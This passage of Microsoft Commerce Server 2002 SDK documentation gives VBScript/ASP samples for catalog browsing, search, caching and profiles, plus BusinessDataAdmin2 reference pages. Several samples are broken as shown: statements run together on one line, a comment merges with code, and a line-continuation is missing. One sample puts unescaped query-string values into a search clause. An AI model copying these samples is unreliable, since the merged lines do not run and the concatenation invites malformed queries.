Do While Not rsProducts.EOF

    Response.Write "Name: " & _
                   rsProducts("Name") & "<BR>"
    Response.Write "Product Code: " & _
                   rsProducts("ProductID") & "<BR>"
    Response.Write "Description: " & _
                   rsProducts("Description") & "<BR>"

    rsProducts.MoveNext()
Loop
%>


Code to Change How a Category is Displayed

Category names must be unique within a catalog. This prevents using multiple categories with the same category name in a single catalog. For example, if you have a catalog containing a category for men's clothing and a category for women's clothing, then you cannot have a child category named Shoes in both those categories.

All categories in Commerce Server 2002 have a built-in multilingual DisplayName property that does not have to be unique. The DisplayName property defaults to the value of the CategoryName property of the category.

The following example is typical of code in the Commerce Server Retail Solution Site. It demonstrates the simple change needed to use display names:

' CATALOG_PROP_NAME is defined in an include file as "CategoryName".
' Create a new constant for display name field.
CATALOG_DISP_NAME = "DisplayName"
' Substitute CATALOG_DISP_NAME where appropriate.
' This loop writes out the list of available categories
' from a recordset as links to another page in the application:
<%
'...
Do While Not g_rsCategories.EOF
    ' The anchor tags produced below pass the category name to the
    ' file "browse.asp", but have been modified to show the display
    ' name as the hyper text (change shown in bold text).
    %>
    <a href="browse.asp?category=
       <%= Server.URLEncode(g_rsCategories(CATALOG_PROP_NAME)) %>">
       <%= g_rsCategories(CATALOG_DISP_NAME) %>
    </a>
    <br>
    <%
    g_rsCategories.MoveNext()
Loop


Code to Find the Available Catalogs

The names and attributes of the catalogs in the Product Catalog System are available in a recordset returned by the Catalog property of the CatalogManager object. The following example creates a recordset of the available catalogs and prints out a list of the catalog names in a particular language:

Dim oCatMgr
Dim rsCatalogs
' Get a local reference to the CatalogManager
' object created in the Global.asa file.
Set oCatMgr = Application("MSCSCatalogManager")

‘ Get the list of catalogs which have a en-us DisplayName.
Set rsCatalogs = oCatMgr.Catalogs( "Not((DisplayName IS NULL) or ( DisplayName = '' ))"  , , , "en-us")

'Write out the catalog names from the recordset.
If (rsCatalogs.RecordCount > 0) Then
    rsCatalogs.MoveFirst()
    Do While Not rsCatalogs.EOF
        Response.Write rsCatalogs.Fields("DisplayName").Value
        Response.Write "<BR>"
        rsCatalogs.MoveNext()
    Loop
End If


Code to Hide Searchable Categories

For some sites, searchable categories have been defined that reflect product types that are valid across various departments. These categories are intended to facilitate searching, and are different from the hierarchy of categories that are shown to users. Displaying searchable categories on the site could confuse your users.

When displaying categories on the site, your code should first check to see whether the category has the IsSearchable attribute set to True. If so, that category should not be shown. The following example filters the "Shoes" category to remove any searchable child categories. Your code should have similar filters wherever categories are going to be displayed.

' oCatalog is an existing ProductCatalog object.
Dim rsCategories
Set rsCategories = oCatalog.GetCategory("Shoes").ChildCategories

' Remove searchable categories from the recordset.
rsCategories.filter "IsSearchable = FALSE"

After running this code, the rsCategories recordset contains only shoe categories that are appropriate for display.


Code to Perform a Search of a Catalog

The following code example shows a wrapper function that performs a search of a catalog. The code uses typical values for return properties and sorting properties, and simplifies performing a search (both free-text search and SQL WHERE clause) by building the parameters for a call to the CatalogManager.Search method.

The constants used to build the values of the sPropertiesToReturn and sPropertiesToSortOn variables will need to be defined according to your catalog definition

' Function: rsSearch
'
' Description:
'    Performs a search using typical values.
'    Returns the results as a recordset.
'    iRecordCount gets set to the number of records retrieved.
'
' Parameters:
'    sSQLWhereClause     - the SQL Where Clause to filter against.
'                          Example, "cy_list_price < 100"
'    sFTSPhrase          - the free text string to find.
'                          Example, "tent"
'    iStartingRecord     - return results starting from
'                          this record number.
'    iRecordsToRetrieve  - return maximum this many records.
'    iRecordCount        - return the actually retrieved number
'                          of records in this parameter.
'    sLanguage          - the language to search and results in.
'                          Example, "en-us"
'
' Returns:
'   Recordset with search results.
' -----------------------------------------------------------------------
Function rsSearch(ByVal sSQLWhereClause, _
                          ByVal sFTSPhrase, _
                          ByVal iStartingRecord, _
                          ByVal iRecordsToRetrieve, _
                          ByVal sLanguage, _
                          ByRef iRecordCount)

    ' Declare variables:
    Dim sPropertiesToReturn
    Dim sPropertiesToSortOn
    Dim rsResult
    Dim iClassType
    Dim sCatalogsToSearch

    ' Build the parameter strings to select
    ' properties to return and to control sorting:
    ' "name" and "description" are required product
    ' properties and cannot have null values.
    sPropertiesToReturn = PRODUCT_NAME_PROPERTY_NAME & "," & _
                          PRODUCT_DESCRIPTION_PROPERTY_NAME & "," & _
                          CATALOG_NAME_PROPERTY_NAME & "," & _
                          CATEGORY_NAME_PROPERTY_NAME & "," & _
                          CATALOG_PRODUCTID_PROPERTY_NAME & "," & _
                          CATALOG_VARIANTID_PROPERTY_NAME & "," & _
                          DEFINITION_TYPE_PROPERTY_NAME

    ' "name" is a required product property and cannot have a null value.
    sPropertiesToSortOn = CATEGORY_NAME_PROPERTY_NAME & "," & _
                         PRODUCT_NAME_PROPERTY_NAME

    ' Determine what catalogs to search.
    ' This example assumes that you will always search two catalogs:
    ' CatalogA and CatalogB. You could get this parameter by having
    ' the user select which catalogs to search, or from a function
    ' that selected catalogs based on a user profile.
    sCatalogsToSearch = "CatalogA, CatalogB"

    ' Determine the type of data wanted. This example will return
    ' categories, products, and product families.
    iClassType = cscProductFamilyForVariantsClass Or _
                 cscProductClass Or
                 cscCategoryClass

    ' Call the Search method and return the recordset.
    Set rsSearch = _
          MSCSCatalogManager. Search( _
             sSQLWhereClause, _
             sFTSPhrase, _
             sCatalogsToSearch, _
             iClassType, _
             sPropertiesToReturn, _
             sPropertiesToSortOn, _
             True, _
             iStartingRecord, _
             iRecordsToRetrieve, _
             sLanguage, _
             iRecordCount _
             )

End Function


Code to Join an External Table to Product Recordsets

If you have data that does not fit naturally into the Product Catalog System or that you are already managing separately, you can join a table or view of that data to the product recordsets returned by methods in the Product Catalog System.

Using the CatalogManager.SetJoinTable method, you can specify an external table or view, the join keys, and the type of join. Subsequent calls to the following methods will return the results of the specified join:

  • CatalogManager.FreeTextSearch
  • CatalogManager.Query
  • CatalogManager.Search
  • Category.DescendentProducts
  • Category.Products
  • Category.Search
  • Product.CreateVariant
  • Product.GetProductProperties
  • Product.GetVariantProperties
  • Product.Variants
  • ProductCatalog.GetProductVariant
  • ProductCatalog.GuaranteedSpecificationSearch
  • ProductCatalog.PerformSpecificationSearch
  • ProductCatalog.RootProducts

The following code shows how to set a join with an external table:

' oCatalogManager is CatalogManager object.
' sTargetTable is a string containing the name of the external table.
' This could be a table containing inventory of the products in the
' product catalog.  For example, sTargetTable = "ProductInventory"
' sSourceKey is a string containing the name of the key in product
' catalog.  For example, sSourceKey = "ProductID"
' sTargetKey is a string containing the name of the key in the external
' table.  For example, sTargetKey = "ProductCode"
' eJoinType is a enumeration value to specify the join type.  For
' example, eJoinType = cscOuterJoin

' Call SetJoinTable to specify the external table to join with.
oCatalogManager.SetJoinTable(sTargetTable, _
                             sSourceKey, _
                             sTargetKey, _
                             eJoinType)
' Calling the above methods after calling SetJoinTable() will join the
' results of that method with external table specified


Code to Perform a Specification Search of a Catalog

Performing a specification search is an iterative process. The ProductCatalog.PerformSpecificationSearch method can return more than the recordset of matching data. This additional information can be useful for controlling program flow.

The ProductCatalog.PerformSpecificationSearch method indicates the total number of matching records. You might need to force the user to refine a search if there are too many hits. For performance reasons, you should limit the size of the returned recordset to what can be displayed on a single page. The PerformSpecificationSearch method can provide a recordset of searchable properties and existing values for those properties in an optional parameter. Display these properties and values to the user so that the search can be refined.

The following steps demonstrate the use of the PerformSpecificationSearch method:

  1. A specification search is always in the context of a single catalog. Call the BeginSpecificationSearch method to create the search handle:
    ' oCatalog is catalog object to search.
' sCategoryName is a string containing the name of the
' category to search.
Dim bNoResults      ' Test flag.
Dim sSearchHandle   ' String to hold the accumulated search clauses.
Dim rsFields        ' Recordset to hold the searchable fields
                    ' in the category.
Dim iMatchesFound   ' Holds the number of hits.

' Call BeginSpecificationSearch to create the search handle.
sSearchHandle = oCatalog.BeginSpecificationSearch(sCategoryName, _
                                                  rsFields, _
                                                  iMatchesFound)
' Test if the category is specification searchable.
bNoResults = (rsFields Is Nothing)
If bNoResults Then
    ' Display a message to the user that the
    ' category is not specification searchable.
Else
    ' Process the rsFields recordset to find
    ' searchable Fields (see step 2).
    ' Perform the search (see step 3).
End If
  2. The rsFields recordset contains one field for each property in the category. Each field in the recordset contains a SafeArray of all the available values for that property. Display this information to the user as a series of drop-down lists. After the user has made a selection and posted the form, you add specification clauses for each selected value:
    Dim arr1, arr2
Dim bQuote
Dim sValue
Dim objField, iFieldType
Dim sSearchClause, sPropertyName
Dim iConstraintFieldsCount
Dim iNonConstraintFieldsCount

' Initialize variables.
iConstraintFieldsCount = 0
iNonConstraintFieldsCount = 0

' Separate Fields into searchable and non-searchable arrays.
' GetRequestString() is a wrapper function that strips
' illegal characters from a call to AppFrameWork.RequestString.
ReDim arr1(rsFields.Fields.Count)
ReDim arr2(rsFields.Fields.Count)
For Each objField In rsFields.Fields
    sValue = GetRequestString(objField.Name, _
                  mscsMessageManager.GetMessage( _
                       "L_STEPSEARCH_NO_PREFERENCE_TEXT", _
                       sLanguage) )

    ' sValue will contain the selected value where the user has
    ' made a selection. Where the user did not make a selection
    ' sValue will contain L_STEPSEARCH_NO_PREFERENCE_TEXT
    If sValue = mscsMessageManager.GetMessage( _
                  "L_STEPSEARCH_NO_PREFERENCE_TEXT", sLanguage) Then
        ' Field is not a search constraint.
        arr1(iNonConstraintFieldsCount) = objField.Name
        iNonConstraintFieldsCount = iNonConstraintFieldsCount + 1
    Else
        ' Field is a Search Constraint.
        sPropertyName = objField.Name
        arr2(iConstraintFieldsCount) = sPropertyName
        ' Some data types must be enclosed in quotes.
        ' Look up the DataType attribute for the property
        ' from the property attributes cache.
        iFieldType = _
            MSCSCatalogAttribs.Value(sPropertyName).Value("DataType")

        If (iFieldType = cscString) Or _
           (iFieldType = cscDateTime) Or _
           (iFieldType = cscFilePath) Or _
           (iFieldType = cscEnumeration) Then
            ' If Text OR DateTime OR FilePath OR Multiple Choice.
            bQuote = True
        Else
            bQuote = False
        End If
        ' Build the search clause for one property.
        sSearchClause = ""
        For Each sValue In Request.QueryString(sPropertyName)
            If bQuote Then sValue = """" & sValue & """"
            sSearchClause = sSearchClause & ", " & sValue
        Next
        ' Add the Specification Search Clause that you just built.
        sSearchClause = "[" & sPropertyName & "]" & _
                        " IN (" & _
                        Right(sSearchClause, _
                              Len(sSearchClause) - 2) & _
                        ")"
        Call oCatalog.AddSpecificationSearchClause(sSearchClause, _
                                                   sSearchHandle)

        iConstraintFieldsCount = iConstraintFieldsCount + 1
    End If

' Process the next Field.
Next

ReDim Preserve arr1(iNonConstraintFieldsCount)
ReDim Preserve arr2(iConstraintFieldsCount)
  3. After all the parameters have been built, perform the specification search:
    Set rsResults = _
       oCatalog.PerformSpecificationSearch(sSearchHandle, _
                                           iSearchType, _
                                           , _
                                           iMatchesFound, _
                                           rsFields, _
                                           sColList)
  4. Display the results so that the user can refine the search.


Code to Stage Products and Catalogs by Time

Normally, catalog data is visible to your users as soon as it is placed in the Product Catalog System. It is possible to automatically activate products in a catalog at a predetermined time or date by adding an additional property and then filtering on that property. A similar technique can be used to deactivate products in the Product Catalog System.

The following steps show how to stage products and catalogs by time:

  1. Define a new property of type Date and call it AvailableFrom. Set the AssignToAll attribute to True and the DisplayOnSite attribute to False.
  2. When creating or editing products, you can specify a value for the AvailableFrom property that indicates the date and time that the product should become visible on your Web site.
  3. Filter any recordsets of products, such as those returned from the Category.Products, CatalogManager.Query, CatalogManager.FreeTextSearch, ProductCatalog.GuaranteedSpecificationSearch, or ProductCatalog.PerformSpecificationSearch methods by specifying an ActiveX Data Objects (ADO) filter on the recordset as "AvailableFrom<=NOW". (Where NOW must be replaced by the current date and time, appropriately formatted.)

    For example, where you have code like:

    rsProducts = oCatalog.GetCategory(strCategoryName).Products

    You need to follow it with:

    rsProducts.filter = "AvailableFrom <= " & format(Date, General Date)

    This prevents products from being visible on your Web site until the date and time specified.

Note

  • Caching of HTML might prevent products from appearing on your Web site until the cache is flushed.


Code to Use Caching with a Catalog

This example is based on the Retail Solution Site, but has been substantially simplified for clarity. See the global_cache_lib.asp page for details about all the cache initialization in the site. See the std_cache_lib.asp page for methods that encapsulate writing to and retrieving data from the caches on the site.

A cache can be either a Dictionary or LRUCache object. The following steps demonstrate the use of an LRUCache object to store HTML fragments. Using a Dictionary object is similar, but not identical; see the source code mentioned above for details about using Dictionary objects with the CacheManager object.

You can use caches to store objects, but this approach has a significant limitation. The cache will become invalid as soon as the object goes out of scope. For example, you cannot cache any type of catalog object or recordset between page requests. The Retail site does not cache objects.

The following code demonstrates:

  • How to set up the CacheManager object in the Application_OnStart event of the Global.asa file
  • How to set up the LRUCache object in the Global.asa file.
  • How to access the cache within Active Server Pages (ASP) pages by using the CacheManager object.
  • How to store and retrieve HTML fragments on an ASP page by using the LRUCache object.
  1. Create the CacheManager object in the Global.asa file.
    Dim oCacheManager

Set oCacheManager = Server.CreateObject("Commerce.CacheManager")

' SMachineBaseUrl has been set during initialization.
' It is the fully qualified URL of the application,
' not the localhost URL
oCacheManager.AppUrl = sMachineBaseUrl

'Make the CacheManager object available throughout the application.
Set Application("MSCSCacheManager") = oCacheManager
  2. Create and register the Cache object. FLRUCache Object
    ' Create a configuration dictionary for the cache.
Set dictProductPageCacheConfig = GetDictionary()
' retrieve the connection string
' from the global configuration dictionary
dictProductPageCacheConfig("ConnectionString") = _
    dictConfig.s_TransactionConfigConnectionString dictProductPageCacheConfig("CacheSize") = _
    10000
dictProductPageCacheConfig("TableName") = _
    "CatalogCache_Virtual_Directory"
dictProductPageCacheConfig("CacheName") = _
    "CatalogCache"
dictProductPageCacheConfig("AppUrl") = _
    sMachineBaseURL

' Configure CacheManager For ProductList Fragment Caching oCacheManager.RefreshInterval("ProductPageCache") = _
    0
oCacheManager.RetryInterval("ProductPageCache") = _
    5 * 60
oCacheManager.CacheObjectProgId("ProductPageCache") = _
    "Commerce.LRUCache"
oCacheManager.LoaderProgId("ProductPageCache") = _
    "Commerce.LRUCacheFlush"
Set oCacheManager.LoaderConfig("ProductPageCache") = _
    dictProductPageCacheConfig

' Call GetCache() to register the cache with the Business Desk.
Call oCacheManager.GetCache("ProductPageCache")
  3. Obtain the cache from the CacheManager object on the ASP page.
    Dim oLRUCache
Set oLRUCache = MSCSCacheManager.GetCache("ProductPageCache")
  4. Store and retrieve HTML fragments on an ASP page by using the LRUCache object. The Retail site attempts to retrieve the fragment before rendering new HTML. If no fragment is available from the cache, the site renders new HTML and caches it.
    ' Create a key that uniquely defines the fragment, in this case a product.
Dim sCacheKey

' sCatalogName & sCategoryName & sProductID & sVariantID
' are existing strings on the Product page.
sCacheKey = sCatalogName & sCategoryName & sProductID & sVariantID

' sLanguage is the language of the page.
htmPageContent = oLRUCache.Lookup(sCacheKey & sLanguage)

' Test if a fragment was retreived from the cache.
If IsNull(htmPageContent) Then
    ' Do a lot of work that puts content in htmPageContent.
    Call oLRUCache.Insert(sCacheKey & sLanguage, htmPageContent)
End If


Profiling System Objects

Profiles represent business entities such as customers, companies, products, purchase orders, and accounts. A profile contains properties of the business entity. For example, "Joe User" is a specific customer, and the data concerning "Joe User" is stored as an instance of a customer profile. The structure of the profile is determined by its schema.

The Profile Programming Concepts topic describes the Profiles resource and the objects it exposes.

Objects

Visual Basic Reference | C++ Invocation | Description
BusinessDataAdmin2 | BusinessDataAdmin2 | Imports and exports profile catalogs from the business data store.
ProfileObject | ProfileObject | Provides run-time read/write access to profile property data and read-only access to property attributes.
ProfileService | ProfileService | Allows creation, deletion, and retrieval of instances of profile schemas.

Examples

Example | Description
Code to Connect to the Profiles Store | Describes how to connect to the Profiles store.
Code to Enumerate Errors | Describes how to enumerate all errors generated by the last Profiles resource operation.
Code to Set up Bind Credentials to Directory Stores | Describes how to bind profiles to specific users.
Code to Create a New Profile | Describes how to create a new profile.
Code to Retrieve a Profile | Describes how to retrieve a profile.
Code to Modify a Profile | Describes how to modify the data stored in a profile.
Code to Delete a Profile | Describes how to delete a profile.
Code to Retrieve XML Data and Schema | Describes how to retrieve the Extensible Markup Language (XML) representations of profile data and schemas.
Code to Perform Bulk Operations using ADO and SQL | Describes how ActiveX Data Object (ADO) and SQL are used to perform bulk operations on profile data.
Code to Delete Unused Profiles | Describes how to delete a profile that has not been used for some time.
Code to Decrypt a Persistent Cookie after the Key has changed | Describes how to decrypt old cookies when using rolling key encryption.
Code to Use the ProfileService Object or Commerce Server OLEDB Provider to Update Passwords | Describes how to use the ProfileService object and the Commerce Server OLEDB Provider to update passwords.
Code to Retrieve and Set Multi-valued Attributes | Describes how to use the ProfileService object to retrieve and set multi-valued attributes.
Code to Retrieve Extended Error Information from the Commerce Server OLEDB Provider | Describes how to retrieve extended error information from the Commerce Server OLEDB provider connection object in the event of an error.

See Also

Business Desk Profiles

Profiles Schema

Profile XML Structures

ProfileObject Object

Profile Concepts

ProfileService Object

Running the Profiles Resource

Managing Encrypted Profile Properties


Profile Programming Concepts

The topics in this section describe the components of the Profiles resource, profiles programming workflow, and the relationships between profiles.

This section contains:

  • Profile Resource Components
  • Profiles Programming Workflow
  • Relationships Between Profiles


Profile Resource Components

The following topics describe the components of the Profiles resource.

ProfileService Object

This object is used to create, retrieve, and delete ProfileObject objects. For more information, see ProfileService Object.

ProfileObject Object

This object, also referred to simply as a profile, is used to access and modify ProfileObject object properties. For more information, see ProfileObject Object.

OLE DB Provider for Commerce Server

This is used to aggregate ProfileObject object data from multiple underlying data stores and expose the data as a single OLE DB Row object. For more information, see the OLE DB 2.5 specification in MSDN and OLE DB Provider for Commerce Server.

Profile Definition Designer

Available through Commerce Server Business Desk, the Profile Definition Designer provides a user interface to extend and delete current profile schemas. For more information, see Adding Properties to a Profile Definition.

Profiles Resource

Available through Commerce Server Manager in the Microsoft Management Console (MMC), the Profiles resource provides a user interface to create new profile schemas. For more information, see Running the Profiles Resource.

Profiles Definition Store

This is a group of tables in a Microsoft SQL Server database that stores profile definitions, site terms, and named expressions.

Profiles Data Store

This is a Microsoft SQL Server database, an OLE DB compliant database, or an Active Directory storage that stores instance data for profiles.


Profiles Programming Workflow

A typical series of events involved in programming with profiles includes:

  1. Initializing the profile system: once you have connected to the profile store, you can initialize the profile system using the appropriate profiles definition. For an example, see Code to Connect to the Profiles Store.
  2. Creating a new profile: you create an empty profile using a profile schema; after this, you can populate the properties of that profile and save it to the profiles store. For an example, see Code to Create a New Profile.
  3. Retrieving profile schema information: you can retrieve a list of all defined profile schema names, then retrieve the schema corresponding to one of those names. For an example, see Code to Retrieve XML Data and Schema.
  4. Retrieving the profile by specifying the primary key value and the schema name, then setting multi-valued attributes on the profile. For an example, see Code to Retrieve a Profile.
  5. Retrieving profile schema information: you can retrieve a list of all defined profile schema names, then retrieve the schema corresponding to one of those names. For an example, see Code to Retrieve XML Data and Schema.
  6. Working with the Commerce Server OLEDB Provider to update profile information: you can use this provider to update and save profile data. For an example, see Code to Use the ProfileService Object or Commerce Server OLEDB Provider to Update Passwords.
  7. Decrypting cookies using an old encryption key: if you have stored obsolete keys, you can decrypt cookies stored with that obsolete key. For an example, see Code to Decrypt a Persistent Cookie after the Key has changed.
  8. Deleting profiles: care must be taken when deleting profiles due to possible expression dependencies on the deleted profile. For an example, see Code to Delete a Profile.


Relationships between Profiles

In Commerce Server 2002, explicit relationships between profiles are not supported. If you want to establish a relationship between profiles, you can follow one of two strategies:

  • Use a multivalued property that stores the primary key field of the related profile. An example of relating users and addresses would entail using the UserObject profile to store the AddressId values of the user shipping address, billing address, work address, and so on. This multivalued property can be written to and retrieved using the ProfileService object.
  • The second approach to establishing the relationship is by using the Commerce Server OLEDB query path. An example of this approach is to define a UserId property on the Address profile, then, using Commerce Server OLEDB queries, retrieve the recordset of addresses related to a particular user.


BusinessDataAdmin2 Object [C++]

BusinessDataAdmin2 Object [Visual Basic]

Use this object to import and export profile catalogs from the business data store.

ProgID: | Commerce.BusinessDataAdmin2 (Externally creatable)
COM Class Name: | BusinessDataAdmin2
Type Library Name: | Microsoft Commerce 2002 BizData Admin Type Library
DLL Name: | BizDataManager.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _BusinessDataAdmin2
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the _BusinessDataAdmin2 interface to access the properties and methods of the BusinessDataAdmin2 object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Connect | Connects the object to the profile data store.
ExportCatalogs | Exports a profile catalog from the profile data store.
GetSiteTerms | Creates an XML document containing the site terms.
ImportCatalogs | Imports a profile catalog to the profile data store.
[Visual Basic]
Method | Description
Connect | Connects the object to the profile data store.
ExportCatalogs | Exports a profile catalog from the profile data store.
GetSiteTerms | Creates an XML document containing the site terms.
ImportCatalogs | Imports a profile catalog to the profile data store.

Remarks

The BusinessDataAdmin2 object has been added to Microsoft Commerce Server 2002 to provide access to the profile data store. The BusinessDataAdmin (BDAO) object that exists in Commerce Server 2000 and all editions of Commerce Server 2002 is intended for internal use only and is intentionally not documented.


_BusinessDataAdmin2 Methods [C++]

BusinessDataAdmin2Method [Visual Basic]

Methods

[C++]
Method | Description
Connect | Connects the object to the profile data store.
ExportCatalogs | Exports a profile catalog from the profile data store.
GetSiteTerms | Creates an XML document containing the site terms.
ImportCatalogs | Imports a profile catalog to the profile data store.
[Visual Basic]
Method | Description
Connect | Connects the object to the profile data store.
ExportCatalogs | Exports a profile catalog from the profile data store.
GetSiteTerms | Creates an XML document containing the site terms.
ImportCatalogs | Imports a profile catalog to the profile data store.


_BusinessDataAdmin2::Connect Method [C++]

BusinessDataAdmin2.Connect Method [Visual Basic]

Use this method to connect the object to the profile data store.

Definition

[C++]
HRESULT _BusinessDataAdmin2::Connect(
  VARIANT* connectString,
  VARIANT* UserName,
  VARIANT* Pwd,
);
[Visual Basic]
Sub Connect(
  connectString As Variant,
  Optional UserName As Variant,
  Optional Pwd As Variant
)

Parameters

connectString [C++]
[in] A pointer to a VARIANT that contains the connection string.
connectString [Visual Basic]
A Variant that contains the connection string.
UserName [C++]
[in, optional] A pointer to a VARIANT that contains the user name. The default value is "". Use this parameter only if the connection string does not contain a user name.
UserName [Visual Basic]
A Variant that contains the user name. The default value is "". Use this parameter only if the connection string does not contain a user name.
Pwd [C++]
[in, optional] A pointer to a VARIANT that contains the password. The default value is "". Use this parameter only if the connection string does not contain a password.
Pwd [Visual Basic]
A Variant that contains the password. The default value is "". Use this parameter only if the connection string does not contain a password.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) or S_FALSE (&H00000001) to indicate success and to either standard or custom COM error values to indicate failure. If this method returns a property or object it will return Nothing on failure. The method may succeed and yet return Nothing due to a subtle syntax error or a request for a property or object that does not exist. Test the return value for Nothing before relying on it. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
ERR_MISSING_COREDLL | [C++] 0x800A00B9 [Visual Basic] &H800A00B9 (185) | The Microsoft Commerce Server Core library is missing, not registered, or could not load properly. Please reinstall Commerce Server 4.0. (File: '%0\\McscCore.dll')
ERR_WRONG_PARAM | [C++] 0x800A0072 [Visual Basic] &H800A0072 114 | Error: Wrong input parameter (check for Empty or Null input parameter)
ERR_INVALID_CONNSTR_TOKENS | [C++] 0x800A00CE [Visual Basic] &H800A00CE 206 | Operations cannot be performed against the Master database.

Remarks

This method must be called prior to calling either the ExportCatalogs or ImportCatalogs method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' strConnect is a valid connection string
' that contains the user ID and password.

myBusinessDataAdmin2.Connect strConnect

See Also

[C++] BusinessDataAdmin2 Object

[Visual Basic] BusinessDataAdmin2 Object


_BusinessDataAdmin2::ExportCatalogs Method [C++]

BusinessDataAdmin2.ExportCatalogs Method [Visual Basic]

Use this method to export the profile catalog (profile schema) in the business data store to an XML file.

Definition

[C++]
HRESULT _BusinessDataAdmin2::ExportCatalogs(
  BSTR* sFileName,
  VARIANT_BOOL* bRemoveCredentials
);
[Visual Basic]
Sub ExportCatalogs(
  sFileName As String,
  Optional bRemoveCredentials As Boolean
)

Parameters

sFileName [C++]
[in, out] A pointer to A BSTR that specifies the file that will contain the exported profile catalog. This is a local file path — it cannot be a URL.
sFileName [Visual Basic]
A String that specifies the file that will contain the exported profile catalog. This is a local file path — it cannot be a URL.
bRemoveCredentials [C++]
[in, optional] A pointer to a VARIANT_BOOL that specifies whether to remove the credentials from the connection strings in the profile catalog. A value of True indicates remove the credentials. A value of False indicates do not remove the credentials. The default value True.
bRemoveCredentials [Visual Basic]
A Boolean that specifies whether to remove the credentials from the connection strings in the profile catalog. A value of True indicates remove the credentials. A value of False indicates do not remove the credentials. The default value is True.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
ERR_NOCONNECTION | [C++] 0x800A00BF [Visual Basic] &H800A00BF 191 | No connection is open to the database. The Connect() method should be called first.
ERR_WRONG_PARAM | [C++] 0x800A0072 [Visual Basic] &H800A0072 114 | Error: Wrong input parameter (check for Empty or Null input parameter)
ERR_PROFILE_NOTFOUND | [C++] 0x800A0075 [Visual Basic] &H800A0075 117 | Cannot find profile '%0'.
ERR_SOURCE_NOTFOUND | [C++] 0x800A0071 [Visual Basic] &H800A0071 113 | Cannot find data-source '%0' in catalog '%1'.
ERR_PRIMARYKEY | [C++] 0x800A00AB [Visual Basic] &H800A00AB 171 | Profile '%0' could not be created/updated because it does not have exactly one primary key defined.
ERR_JOINKEY | [C++] 0x800A00AC [Visual Basic] &H800A00AC 172 | Profile '%0' could not be created/updated because it does not have exactly one join key defined.
ERR_INVALIDTYPE_RDNATTR | [C++] 0x800A00AD [Visual Basic] &H800A00AD 173 | The profile-property '%0' is marked as an RDN-attribute, but is not of type 'STRING'.
ERR_INVALID_HASHKEY | [C++] 0x800A00AE [Visual Basic] &H800A00AE 174 | The profile-property '%0' is marked as a hashing key, but is not of type 'STRING'.
ERR_INVALID_UNIQUEKEY | [C++] 0x800A00AF [Visual Basic] &H800A00AF 175 | The profile-property '%0' is marked as a unique, primary, and/or join key, but is not of type 'STRING' or 'NUMBER'.
ERR_INVALIDMAP | [C++] 0x800A00B3 [Visual Basic] &H800A00B3 179 | The profile property '%0' is mapped to a data member in a source which is not referenced by the join key.
ERR_DUPLICATEJOINMAP | [C++] 0x800A00B4 [Visual Basic] &H800A00B4 180 | The join key '%0' references more than one data member from a single source. A join key may map to only one member from a data object.
ERR_KEY_MULTIVALUE | [C++] 0x800A00BB [Visual Basic] &H800A00BB 187 | The property '%0' cannot be multi-valued because it is a key.
ERR_OLEDB_MULTIVAL | [C++] 0x800A00BC [Visual Basic] &H800A00BC 188 | The property '%0' cannot be marked as multi-valued. It references a data member from an OLEDB-ANSI source of type '%1'. Only members of type 'STRING' may be marked as multi-valued.
ERR_VALUE_TOO_LONG | [C++] 0x800A00B8 [Visual Basic] &H800A00B8 184 | The database field '%0' cannot be updated. The value '%1' exceeds the maximum length of %2 characters.
ERR_CACHEDPROP_IS_PRIMARYKEY | [C++] 0x800A00B5 [Visual Basic] &H800A00B5 181 | The primary key for this profile may not be a cached (non-persistent) property.
ERR_CACHEDPROP_IS_JOINKEY | [C++] 0x800A00B6 [Visual Basic] &H800A00B6 182 | The join key for this profile may not be a cached (non-persistent) property.
ERR_MULTIPLE_RDNATTRS | [C++] 0x800A008D [Visual Basic] &H800A008D 141 | The profile '%0' contains multiple properties marked as the RDN Attribute for the data source '%1'. Exactly one RDN Attribute must be defined for each LDAPv3-compliant data source.
ERR_MULTIPLE_HASHKEYS | [C++] 0x800A008E [Visual Basic] &H800A008E 142 | The profile '%0' contains multiple properties marked as the hashing key.
ERR_INVALID_RDNATTR | [C++] 0x800A008F [Visual Basic] &H800A008F 143 | The profile-property '%0' is marked as an RDN-attribute, but does not map to an LDAPv3-compliant data-source.
ERR_PROP_INVALID_HASHKEY | [C++] 0x800A0090 [Visual Basic] &H800A0090 144 | The profile-property '%0' is marked as a hashing-key, but does not map to any partitioned data-sources.
ERR_NO_RDN_ATTRIBUTE | [C++] 0x800A0091 [Visual Basic] &H800A0091 145 | The profile '%0' uses an LDAPv3-compliant data-source, but no property is marked as the RDN-attribute. Exactly one RDN Attribute must be defined for each LDAPv3-compliant data source.
ERR_INVALID_DATATYPE | [C++] 0x800A00C0 [Visual Basic] &H800A00C0 192 | The property: [%0] in profile: [%1] is mapped to an incorrect data type.
ERR_INVALID_MARKEDTYPEREF | [C++] 0x800A00C1 [Visual Basic] &H800A00C1 193 | The property: [%0] in profile: [%1] is incorrectly marked as a reference type.
ERR_INVALID_MULTI | [C++] 0x800A00C2 [Visual Basic] &H800A00C2 194 | The property: [%0] in profile: [%1] is incorrectly marked as multivalued.
ERR_INVALID_TYPEREF | [C++] 0x800A00C3 [Visual Basic] &H800A00C3 195 | The property: [%0] in profile: [%1] is referencing an invalid type.
ERR_INVALID_PROPTYPE | [C++] 0x800A00C4 [Visual Basic] &H800A00C4 196 | The property: [%0] in profile: [%1] is of incorrect type.
ERR_INVALID_MAPPEDDATA | [C++] 0x800A00C5 [Visual Basic] &H800A00C5 197 | The property: [%0] in profile: [%1] is mapped to a data member: [%2] but this data member does not exist.
